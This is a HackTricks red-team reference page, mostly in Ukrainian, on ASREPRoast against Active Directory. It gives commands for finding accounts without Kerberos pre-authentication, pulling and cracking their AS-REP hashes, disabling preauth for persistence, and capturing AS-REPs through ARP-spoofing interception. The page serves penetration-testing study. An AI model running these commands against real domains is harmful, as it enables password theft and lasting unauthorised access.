ASREPRoast

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

ASREPRoast

ASREPRoast — це атака на безпеку, яка експлуатує користувачів, у яких відсутній параметр Kerberos pre-authentication required attribute. По суті, ця вразливість дозволяє зловмисникам запитувати автентифікацію користувача від Domain Controller (DC) без потреби в паролі користувача. DC у відповідь надсилає повідомлення, зашифроване ключем, отриманим з пароля користувача, яке зловмисники можуть спробувати зламати офлайн, щоб дізнатися пароль користувача.

The main requirements for this attack are:

  • Lack of Kerberos pre-authentication: Цільові користувачі не повинні мати увімкнену цю функцію безпеки.
  • Connection to the Domain Controller (DC): Зловмисникам потрібен доступ до DC, щоб надсилати запити та отримувати зашифровані повідомлення.
  • Optional domain account: Наявність domain account дозволяє зловмисникам ефективніше знаходити вразливих користувачів через LDAP-запити. Без такого облікового запису зловмисникам доведеться вгадувати імена користувачів.

Перелікування вразливих користувачів (потрібні облікові дані домену)

Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

Запит повідомлення AS_REP

#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

Warning

AS-REP Roasting with Rubeus згенерує 4768 з encryption type 0x17 та preauth type 0.

Швидкі однорядкові команди (Linux)

  • Спочатку перелічи потенційні цілі (наприклад, із leaked build paths) за допомогою Kerberos userenum: kerbrute userenum users.txt -d domain --dc dc.domain
  • Отримай AS-REP одного користувача навіть з порожнім паролем, використовуючи netexec ldap <dc> -u svc_scan -p '' --asreproast out.asreproast (netexec також показує LDAP signing/channel binding posture).
  • Зламуй за допомогою hashcat out.asreproast /path/rockyou.txt – він автоматично визначає -m 18200 (etype 23) для AS-REP roast hashes.

Cracking

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Persistence

Змусити, щоб для користувача, для якого у вас є права GenericAll (або права на запис властивостей), preauth не вимагався:

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH 'target_user'

ASREProast без облікових даних

Зловмисник може зайняти позицію man-in-the-middle, щоб перехоплювати AS-REP пакети під час їх проходження мережею, не покладаючись на те, що Kerberos pre-authentication вимкнено. Отже, це працює для всіх користувачів у VLAN.
ASRepCatcher дозволяє це зробити. Більше того, інструмент примушує клієнтські робочі станції використовувати RC4, змінюючи Kerberos negotiation.

# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen

Посилання


Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks